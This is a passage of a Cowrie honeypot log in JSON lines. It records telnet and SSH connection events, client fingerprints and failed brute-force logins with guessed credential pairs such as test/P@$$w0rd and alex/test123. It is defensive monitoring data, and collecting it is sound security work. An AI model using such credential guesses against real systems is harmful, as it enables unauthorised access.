{"eventid":"cowrie.session.closed","duration":36.709250688552856,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:06.026073Z","src_ip":"161.97.105.174","session":"6d960610dd87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.62454652786255,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:06.623266Z","src_ip":"161.97.105.174","session":"999af9782b8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.59927487373352,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:06.788795Z","src_ip":"161.97.105.174","session":"5fdbfb90c316","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45686,"dst_ip":"159.203.135.109","dst_port":23,"session":"242eb9a1c0dc","protocol":"telnet","message":"New connection: 161.97.105.174:45686 (159.203.135.109:23) [session: 242eb9a1c0dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:09.378154Z"}
{"eventid":"cowrie.session.closed","duration":32.194605588912964,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:09.762294Z","src_ip":"161.97.105.174","session":"ea52b3d4fea7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45696,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfff7113d0e1","protocol":"telnet","message":"New connection: 161.97.105.174:45696 (159.203.135.109:23) [session: bfff7113d0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:14.705390Z"}
{"eventid":"cowrie.session.closed","duration":34.547382831573486,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:15.742904Z","src_ip":"161.97.105.174","session":"8c8a233856ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.89282560348511,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:16.516418Z","src_ip":"161.97.105.174","session":"56f8bdfec8a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45710,"dst_ip":"159.203.135.109","dst_port":23,"session":"44457d64bb0d","protocol":"telnet","message":"New connection: 161.97.105.174:45710 (159.203.135.109:23) [session: 44457d64bb0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:16.646470Z"}
{"eventid":"cowrie.session.closed","duration":37.63685154914856,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:19.554274Z","src_ip":"161.97.105.174","session":"9f73926ec88d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40552,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e9a2bebaba0","protocol":"telnet","message":"New connection: 161.97.105.174:40552 (159.203.135.109:23) [session: 6e9a2bebaba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:19.604021Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40558,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3dacab999d4","protocol":"telnet","message":"New connection: 161.97.105.174:40558 (159.203.135.109:23) [session: a3dacab999d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:21.340225Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40562,"dst_ip":"159.203.135.109","dst_port":23,"session":"914dd521ba76","protocol":"telnet","message":"New connection: 161.97.105.174:40562 (159.203.135.109:23) [session: 914dd521ba76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:21.408950Z"}
{"eventid":"cowrie.session.closed","duration":32.27800989151001,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:22.625670Z","src_ip":"161.97.105.174","session":"c944127ade45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40566,"dst_ip":"159.203.135.109","dst_port":23,"session":"89672a555d2e","protocol":"telnet","message":"New connection: 161.97.105.174:40566 (159.203.135.109:23) [session: 89672a555d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:23.253024Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40572,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb660c33abcf","protocol":"telnet","message":"New connection: 161.97.105.174:40572 (159.203.135.109:23) [session: bb660c33abcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:23.793390Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40582,"dst_ip":"159.203.135.109","dst_port":23,"session":"481b034f35c5","protocol":"telnet","message":"New connection: 161.97.105.174:40582 (159.203.135.109:23) [session: 481b034f35c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:24.299059Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40592,"dst_ip":"159.203.135.109","dst_port":23,"session":"6638522d9cc1","protocol":"telnet","message":"New connection: 161.97.105.174:40592 (159.203.135.109:23) [session: 6638522d9cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:24.862209Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.39.19","src_port":34890,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7c95b9bc064","protocol":"telnet","message":"New connection: 208.109.39.19:34890 (159.203.135.109:23) [session: f7c95b9bc064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:26.240782Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40596,"dst_ip":"159.203.135.109","dst_port":23,"session":"d402ad19b128","protocol":"telnet","message":"New connection: 161.97.105.174:40596 (159.203.135.109:23) [session: d402ad19b128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:27.625086Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40608,"dst_ip":"159.203.135.109","dst_port":23,"session":"558392eb385d","protocol":"telnet","message":"New connection: 161.97.105.174:40608 (159.203.135.109:23) [session: 558392eb385d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:27.635328Z"}
{"eventid":"cowrie.session.closed","duration":33.62153887748718,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:28.139738Z","src_ip":"161.97.105.174","session":"d96072f936c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":46466,"dst_ip":"10.17.0.5","dst_port":22,"session":"21268e3173e3","protocol":"ssh","message":"New connection: 202.125.94.71:46466 (10.17.0.5:22) [session: 21268e3173e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:30.676676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:30.681493Z","src_ip":"202.125.94.71","session":"21268e3173e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.25932812690735,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:30.882658Z","src_ip":"161.97.105.174","session":"73994a65dbc3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:30.941430Z","src_ip":"202.125.94.71","session":"21268e3173e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":49636,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd5d3f55ea7a","protocol":"ssh","message":"New connection: 154.219.100.220:49636 (10.17.0.5:22) [session: fd5d3f55ea7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:31.164865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:31.169773Z","src_ip":"154.219.100.220","session":"fd5d3f55ea7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:31.375760Z","src_ip":"154.219.100.220","session":"fd5d3f55ea7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@$$w0rd","message":"login attempt [test/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:32.012810Z","src_ip":"202.125.94.71","session":"21268e3173e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"pass","message":"login attempt [test/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:32.229660Z","src_ip":"154.219.100.220","session":"fd5d3f55ea7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":54734,"dst_ip":"10.17.0.5","dst_port":22,"session":"42c8b7c206ce","protocol":"ssh","message":"New connection: 152.32.130.174:54734 (10.17.0.5:22) [session: 42c8b7c206ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:33.028305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:33.033030Z","src_ip":"152.32.130.174","session":"42c8b7c206ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:33.250161Z","src_ip":"152.32.130.174","session":"42c8b7c206ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:33.278790Z","src_ip":"202.125.94.71","session":"21268e3173e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:33.438730Z","src_ip":"154.219.100.220","session":"fd5d3f55ea7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43702,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa0adb2e09ca","protocol":"telnet","message":"New connection: 161.97.105.174:43702 (159.203.135.109:23) [session: aa0adb2e09ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:34.690700Z"}
{"eventid":"cowrie.login.failed","username":"alex","password":"test123","message":"login attempt [alex/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:34.766372Z","src_ip":"152.32.130.174","session":"42c8b7c206ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:35.989051Z","src_ip":"152.32.130.174","session":"42c8b7c206ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.321011781692505,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:36.235915Z","src_ip":"161.97.105.174","session":"f1febeaf5228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.788116693496704,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:37.903586Z","src_ip":"161.97.105.174","session":"af9c452ee6aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49570,"dst_ip":"159.203.135.109","dst_port":23,"session":"245541bbc4db","protocol":"telnet","message":"New connection: 161.97.105.174:49570 (159.203.135.109:23) [session: 245541bbc4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:39.655218Z"}
{"eventid":"cowrie.session.closed","duration":37.30711817741394,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:40.376375Z","src_ip":"161.97.105.174","session":"035fabb1d00b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49582,"dst_ip":"159.203.135.109","dst_port":23,"session":"d82341a962e4","protocol":"telnet","message":"New connection: 161.97.105.174:49582 (159.203.135.109:23) [session: d82341a962e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:41.365872Z"}
{"eventid":"cowrie.session.closed","duration":34.200454235076904,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:43.578474Z","src_ip":"161.97.105.174","session":"242eb9a1c0dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.191161155700684,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:46.896404Z","src_ip":"161.97.105.174","session":"bfff7113d0e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58090,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b9c64de82aa","protocol":"telnet","message":"New connection: 161.97.105.174:58090 (159.203.135.109:23) [session: 7b9c64de82aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:48.842040Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58094,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d1732cb1f5d","protocol":"telnet","message":"New connection: 161.97.105.174:58094 (159.203.135.109:23) [session: 2d1732cb1f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:51.713907Z"}
{"eventid":"cowrie.session.closed","duration":32.33924317359924,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:51.940011Z","src_ip":"161.97.105.174","session":"6e9a2bebaba0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.30595254898071,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:51.952326Z","src_ip":"161.97.105.174","session":"44457d64bb0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.530556678771973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:54.323809Z","src_ip":"161.97.105.174","session":"bb660c33abcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.526601791381836,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:54.935426Z","src_ip":"161.97.105.174","session":"914dd521ba76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58098,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd3dec80415c","protocol":"telnet","message":"New connection: 161.97.105.174:58098 (159.203.135.109:23) [session: bd3dec80415c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:56.645522Z"}
{"eventid":"cowrie.session.closed","duration":30.832889318466187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:57.073570Z","src_ip":"208.109.39.19","session":"f7c95b9bc064","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.81230688095093,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:57.152393Z","src_ip":"161.97.105.174","session":"a3dacab999d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.34382772445679,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:57.205842Z","src_ip":"161.97.105.174","session":"6638522d9cc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.58861207962036,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:57.887542Z","src_ip":"161.97.105.174","session":"481b034f35c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.324676275253296,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:58.577612Z","src_ip":"161.97.105.174","session":"89672a555d2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42384,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac1ba27856d7","protocol":"telnet","message":"New connection: 161.97.105.174:42384 (159.203.135.109:23) [session: ac1ba27856d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:58.700965Z"}
{"eventid":"cowrie.session.closed","duration":31.549299955368042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:59.174262Z","src_ip":"161.97.105.174","session":"d402ad19b128","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.95603394508362,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:02.591247Z","src_ip":"161.97.105.174","session":"558392eb385d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42396,"dst_ip":"159.203.135.109","dst_port":23,"session":"166d20188894","protocol":"telnet","message":"New connection: 161.97.105.174:42396 (159.203.135.109:23) [session: 166d20188894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:03.263857Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":54582,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e612b598678","protocol":"ssh","message":"New connection: 200.118.150.20:54582 (159.203.135.109:22) [session: 4e612b598678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:04.142348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:04.286767Z","src_ip":"200.118.150.20","session":"4e612b598678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr